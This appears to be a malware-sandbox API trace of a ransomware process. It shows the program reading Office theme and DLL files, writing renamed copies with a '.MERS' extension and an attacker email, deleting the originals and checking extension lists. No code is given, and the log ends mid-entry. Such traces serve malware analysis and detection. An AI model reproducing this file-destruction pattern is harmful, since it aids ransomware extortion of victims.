(lpString="Pushpin.eftx") returned 12 [0272.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.559] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=782121) returned 1 [0272.559] CloseHandle (hObject=0x39c) returned 1 [0272.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0272.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.559] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.559] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.560] GetLastError () returned 0x0 [0272.560] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0xbef29, lpOverlapped=0x0) returned 1 [0272.622] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0272.750] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.750] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.750] SetEndOfFile (hFile=0x3ac) returned 1 [0272.750] CloseHandle (hObject=0x3ac) returned 1 [0272.750] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.750] SetEndOfFile (hFile=0x39c) returned 1 [0273.049] CloseHandle (hObject=0x39c) returned 1 [0273.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0273.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.061] lstrlenW (lpString=".doc") returned 4 [0273.061] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.061] lstrlenW (lpString=".docx") returned 5 [0273.061] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.061] lstrlenW (lpString=".pdf") returned 4 [0273.061] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.061] lstrlenW (lpString=".xls") returned 4 [0273.061] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.061] lstrlenW (lpString=".xlsx") returned 5 [0273.061] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.061] lstrlenW (lpString=".ppt") returned 4 [0273.061] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.061] lstrlenW (lpString=".zip") returned 4 [0273.062] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString=".rar") returned 4 [0273.062] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString=".bz2") returned 4 [0273.062] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString=".7z") returned 3 [0273.062] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.062] lstrlenW (lpString=".dbf") returned 4 [0273.062] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.062] lstrlenW (lpString=".1cd") returned 4 [0273.062] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.062] lstrlenW (lpString=".jpg") returned 4 [0273.062] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.062] lstrlenW (lpString=".doc") returned 4 [0273.062] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString=".docx") returned 5 [0273.062] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.062] lstrlenW (lpString=".pdf") returned 4 [0273.062] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.062] lstrlenW (lpString=".xls") returned 4 [0273.063] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString=".xlsx") returned 5 [0273.063] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.063] lstrlenW (lpString=".ppt") returned 4 [0273.063] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.063] lstrlenW (lpString=".zip") returned 4 [0273.063] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString=".rar") returned 4 [0273.063] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString=".bz2") returned 4 [0273.063] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString=".7z") returned 3 [0273.063] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.063] lstrlenW (lpString=".dbf") returned 4 [0273.063] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.063] lstrlenW (lpString=".1cd") returned 4 [0273.063] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0273.063] lstrlenW (lpString=".jpg") returned 4 [0273.063] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.063] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0273.063] lstrlenW (lpString="Trek.eftx") returned 9 [0273.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0273.064] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=129924) returned 1 [0273.064] CloseHandle (hObject=0x284) returned 1 [0273.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0273.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0273.064] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.065] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.065] GetLastError () returned 0x0 [0273.065] ReadFile (in: hFile=0x284, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0273.094] WriteFile (in: hFile=0x388, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0273.096] ReadFile (in: hFile=0x284, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.096] WriteFile (in: hFile=0x388, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.096] SetEndOfFile (hFile=0x388) returned 1 [0273.096] CloseHandle (hObject=0x388) returned 1 [0273.096] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.096] SetEndOfFile (hFile=0x284) returned 1 [0273.099] CloseHandle (hObject=0x284) returned 1 [0273.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0273.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.106] lstrlenW (lpString=".doc") returned 4 [0273.106] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".docx") returned 5 [0273.106] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.106] lstrlenW (lpString=".pdf") returned 4 [0273.106] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".xls") returned 4 [0273.106] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".xlsx") returned 5 [0273.106] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.106] lstrlenW (lpString=".ppt") returned 4 [0273.106] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.106] lstrlenW (lpString=".zip") returned 4 [0273.106] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".rar") returned 4 [0273.106] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".bz2") returned 4 [0273.106] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.106] lstrlenW (lpString=".7z") returned 3 [0273.107] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".dbf") returned 4 [0273.107] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".1cd") returned 4 [0273.107] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".jpg") returned 4 [0273.107] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".doc") returned 4 [0273.107] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".docx") returned 5 [0273.107] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.107] lstrlenW (lpString=".pdf") returned 4 [0273.107] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".xls") returned 4 [0273.107] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".xlsx") returned 5 [0273.107] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.107] lstrlenW (lpString=".ppt") returned 4 [0273.107] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".zip") returned 4 [0273.107] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".rar") returned 4 [0273.107] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".bz2") returned 4 [0273.107] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.107] lstrlenW (lpString=".7z") returned 3 [0273.107] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.107] lstrlenW (lpString=".dbf") returned 4 [0273.108] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.108] lstrlenW (lpString=".1cd") returned 4 [0273.108] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0273.108] lstrlenW (lpString=".jpg") returned 4 [0273.108] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.108] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0273.108] lstrlenW (lpString="Waveform.eftx") returned 13 [0273.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0273.110] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=112504) returned 1 [0273.110] CloseHandle (hObject=0x284) returned 1 [0273.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0273.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0273.110] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.110] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.111] GetLastError () returned 0x0 [0273.111] ReadFile (in: hFile=0x284, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1b778, lpOverlapped=0x0) returned 1 [0273.205] WriteFile (in: hFile=0x388, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0273.207] ReadFile (in: hFile=0x284, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.207] WriteFile (in: hFile=0x388, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0273.207] SetEndOfFile (hFile=0x388) returned 1 [0273.207] CloseHandle (hObject=0x388) returned 1 [0273.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.207] SetEndOfFile (hFile=0x284) returned 1 [0273.210] CloseHandle (hObject=0x284) returned 1 [0273.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.211] lstrlenW (lpString=".doc") returned 4 [0273.211] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.211] lstrlenW (lpString=".docx") returned 5 [0273.211] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.211] lstrlenW (lpString=".pdf") returned 4 [0273.376] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".xls") returned 4 [0273.376] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".xlsx") returned 5 [0273.376] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.376] lstrlenW (lpString=".ppt") returned 4 [0273.376] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString=".zip") returned 4 [0273.376] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".rar") returned 4 [0273.376] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".bz2") returned 4 [0273.376] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".7z") returned 3 [0273.376] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString=".dbf") returned 4 [0273.376] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString=".1cd") returned 4 [0273.376] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString=".jpg") returned 4 [0273.376] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.376] lstrlenW (lpString=".doc") returned 4 [0273.376] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.376] lstrlenW (lpString=".docx") returned 5 [0273.377] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.377] lstrlenW (lpString=".pdf") returned 4 [0273.377] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString=".xls") returned 4 [0273.377] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString=".xlsx") returned 5 [0273.377] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.377] lstrlenW (lpString=".ppt") returned 4 [0273.377] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.377] lstrlenW (lpString=".zip") returned 4 [0273.377] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString=".rar") returned 4 [0273.377] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString=".bz2") returned 4 [0273.377] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString=".7z") returned 3 [0273.377] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.377] lstrlenW (lpString=".dbf") returned 4 [0273.377] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.377] lstrlenW (lpString=".1cd") returned 4 [0273.377] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0273.377] lstrlenW (lpString=".jpg") returned 4 [0273.377] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.377] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.377] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0273.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.572] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15776) returned 1 [0273.572] CloseHandle (hObject=0x3c8) returned 1 [0273.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft 